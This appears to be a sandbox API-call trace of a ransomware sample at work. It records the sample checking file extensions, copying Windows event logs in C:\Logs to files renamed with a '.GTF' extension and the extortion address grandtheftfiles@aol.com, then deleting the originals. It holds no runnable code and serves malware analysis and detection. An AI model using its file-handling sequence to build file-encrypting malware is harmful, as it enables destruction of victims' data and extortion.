	[0082.328] lstrlenW (lpString=".xls") returned 4
	[0082.328] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.328] lstrlenW (lpString=".xlsx") returned 5
	[0082.328] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.328] lstrlenW (lpString=".ppt") returned 4
	[0082.329] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.329] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.329] lstrlenW (lpString=".zip") returned 4
	[0082.329] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.329] lstrlenW (lpString=".rar") returned 4
	[0082.329] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.329] lstrlenW (lpString=".bz2") returned 4
	[0082.330] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.330] lstrlenW (lpString=".7z") returned 3
	[0082.330] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.330] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.330] lstrlenW (lpString=".dbf") returned 4
	[0082.330] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.330] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.330] lstrlenW (lpString=".1cd") returned 4
	[0082.330] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.330] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.330] lstrlenW (lpString=".jpg") returned 4
	[0082.330] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.330] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0082.330] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39
	[0082.330] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.577] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0082.577] CloseHandle (hObject=0x374) returned 1
	[0082.578] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20
	[0082.578] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.578] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.578] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.578] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.578] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0082.807] GetLastError () returned 0x0
	[0082.807] ReadFile (in: hFile=0x374, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.834] WriteFile (in: hFile=0x310, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.836] ReadFile (in: hFile=0x374, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.836] WriteFile (in: hFile=0x310, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x122, lpOverlapped=0x0) returned 1
	[0082.836] SetEndOfFile (hFile=0x310) returned 1
	[0082.836] CloseHandle (hObject=0x310) returned 1
	[0082.838] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.838] SetEndOfFile (hFile=0x374) returned 1
	[0082.839] CloseHandle (hObject=0x374) returned 1
	[0082.840] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0082.840] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1
	[0082.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.840] lstrlenW (lpString=".doc") returned 4
	[0082.840] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.840] lstrlenW (lpString=".docx") returned 5
	[0082.840] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.840] lstrlenW (lpString=".pdf") returned 4
	[0082.840] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.840] lstrlenW (lpString=".xls") returned 4
	[0082.840] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.840] lstrlenW (lpString=".xlsx") returned 5
	[0082.840] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.841] lstrlenW (lpString=".ppt") returned 4
	[0082.841] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.841] lstrlenW (lpString=".zip") returned 4
	[0082.841] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.841] lstrlenW (lpString=".rar") returned 4
	[0082.841] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.841] lstrlenW (lpString=".bz2") returned 4
	[0082.841] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.841] lstrlenW (lpString=".7z") returned 3
	[0082.841] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.841] lstrlenW (lpString=".dbf") returned 4
	[0082.841] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.841] lstrlenW (lpString=".1cd") returned 4
	[0082.841] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.841] lstrlenW (lpString=".jpg") returned 4
	[0082.841] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.841] lstrlenW (lpString=".doc") returned 4
	[0082.841] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.841] lstrlenW (lpString=".docx") returned 5
	[0082.841] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.841] lstrlenW (lpString=".pdf") returned 4
	[0082.841] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.841] lstrlenW (lpString=".xls") returned 4
	[0082.841] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.841] lstrlenW (lpString=".xlsx") returned 5
	[0082.841] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.841] lstrlenW (lpString=".ppt") returned 4
	[0082.841] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.841] lstrlenW (lpString=".zip") returned 4
	[0082.841] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.842] lstrlenW (lpString=".rar") returned 4
	[0082.842] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.842] lstrlenW (lpString=".bz2") returned 4
	[0082.842] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.842] lstrlenW (lpString=".7z") returned 3
	[0082.842] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.842] lstrlenW (lpString=".dbf") returned 4
	[0082.842] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.842] lstrlenW (lpString=".1cd") returned 4
	[0082.842] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.842] lstrlenW (lpString=".jpg") returned 4
	[0082.842] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.842] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0082.842] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72
	[0082.842] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.842] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0082.842] CloseHandle (hObject=0x374) returned 1
	[0082.842] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20
	[0082.842] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.843] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.843] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.843] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.843] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0082.847] GetLastError () returned 0x0
	[0082.847] ReadFile (in: hFile=0x374, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.849] WriteFile (in: hFile=0x310, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.851] ReadFile (in: hFile=0x374, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.851] WriteFile (in: hFile=0x310, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x164, lpOverlapped=0x0) returned 1
	[0082.851] SetEndOfFile (hFile=0x310) returned 1
	[0082.851] CloseHandle (hObject=0x310) returned 1
	[0082.853] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.853] SetEndOfFile (hFile=0x374) returned 1
	[0082.855] CloseHandle (hObject=0x374) returned 1
	[0082.855] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0082.855] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1
	[0082.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.856] lstrlenW (lpString=".doc") returned 4
	[0082.856] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.856] lstrlenW (lpString=".docx") returned 5
	[0082.856] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.856] lstrlenW (lpString=".pdf") returned 4
	[0082.856] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.856] lstrlenW (lpString=".xls") returned 4
	[0082.856] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.856] lstrlenW (lpString=".xlsx") returned 5
	[0082.856] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.856] lstrlenW (lpString=".ppt") returned 4
	[0082.856] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.856] lstrlenW (lpString=".zip") returned 4
	[0082.856] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.856] lstrlenW (lpString=".rar") returned 4
	[0082.856] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.856] lstrlenW (lpString=".bz2") returned 4
	[0082.856] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.856] lstrlenW (lpString=".7z") returned 3
	[0082.856] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.856] lstrlenW (lpString=".dbf") returned 4
	[0082.856] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.856] lstrlenW (lpString=".1cd") returned 4
	[0082.856] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.856] lstrlenW (lpString=".jpg") returned 4
	[0082.856] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.856] lstrlenW (lpString=".doc") returned 4
	[0082.856] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.856] lstrlenW (lpString=".docx") returned 5
	[0082.857] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.857] lstrlenW (lpString=".pdf") returned 4
	[0082.857] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.857] lstrlenW (lpString=".xls") returned 4
	[0082.857] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.857] lstrlenW (lpString=".xlsx") returned 5
	[0082.857] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.857] lstrlenW (lpString=".ppt") returned 4
	[0082.857] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.857] lstrlenW (lpString=".zip") returned 4
	[0082.857] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.857] lstrlenW (lpString=".rar") returned 4
	[0082.857] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.857] lstrlenW (lpString=".bz2") returned 4
	[0082.857] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.857] lstrlenW (lpString=".7z") returned 3
	[0082.857] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.857] lstrlenW (lpString=".dbf") returned 4
	[0082.857] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.857] lstrlenW (lpString=".1cd") returned 4
	[0082.857] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.857] lstrlenW (lpString=".jpg") returned 4
	[0082.857] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.857] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0082.857] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70
	[0082.857] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.858] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0082.858] CloseHandle (hObject=0x374) returned 1
	[0082.858] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20
	[0082.858] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.859] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.859] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.859] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.859] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0082.859] GetLastError () returned 0x0
	[0082.859] ReadFile (in: hFile=0x374, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.862] WriteFile (in: hFile=0x310, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.864] ReadFile (in: hFile=0x374, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.864] WriteFile (in: hFile=0x310, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x160, lpOverlapped=0x0) returned 1
	[0082.864] SetEndOfFile (hFile=0x310) returned 1
	[0082.864] CloseHandle (hObject=0x310) returned 1
	[0082.867] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.867] SetEndOfFile (hFile=0x374) returned 1
	[0082.868] CloseHandle (hObject=0x374) returned 1
	[0082.868] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0082.868] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1
	[0082.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.872] lstrlenW (lpString=".doc") returned 4
	[0082.872] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.872] lstrlenW (lpString=".docx") returned 5
	[0082.872] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.872] lstrlenW (lpString=".pdf") returned 4
	[0082.873] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.873] lstrlenW (lpString=".xls") returned 4
	[0082.873] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.873] lstrlenW (lpString=".xlsx") returned 5
	[0082.873] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.873] lstrlenW (lpString=".ppt") returned 4
	[0082.873] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.873] lstrlenW (lpString=".zip") returned 4
	[0082.873] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.873] lstrlenW (lpString=".rar") returned 4
	[0082.873] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.873] lstrlenW (lpString=".bz2") returned 4
	[0082.873] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.873] lstrlenW (lpString=".7z") returned 3
	[0082.873] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.873] lstrlenW (lpString=".dbf") returned 4
	[0082.873] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.873] lstrlenW (lpString=".1cd") returned 4
	[0082.873] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.873] lstrlenW (lpString=".jpg") returned 4
	[0082.873] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.873] lstrlenW (lpString=".doc") returned 4
	[0082.873] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.873] lstrlenW (lpString=".docx") returned 5
	[0082.873] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.873] lstrlenW (lpString=".pdf") returned 4
	[0082.873] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.873] lstrlenW (lpString=".xls") returned 4
	[0082.873] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.874] lstrlenW (lpString=".xlsx") returned 5
	[0082.874] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.874] lstrlenW (lpString=".ppt") returned 4
	[0082.874] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.874] lstrlenW (lpString=".zip") returned 4
	[0082.874] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.874] lstrlenW (lpString=".rar") returned 4
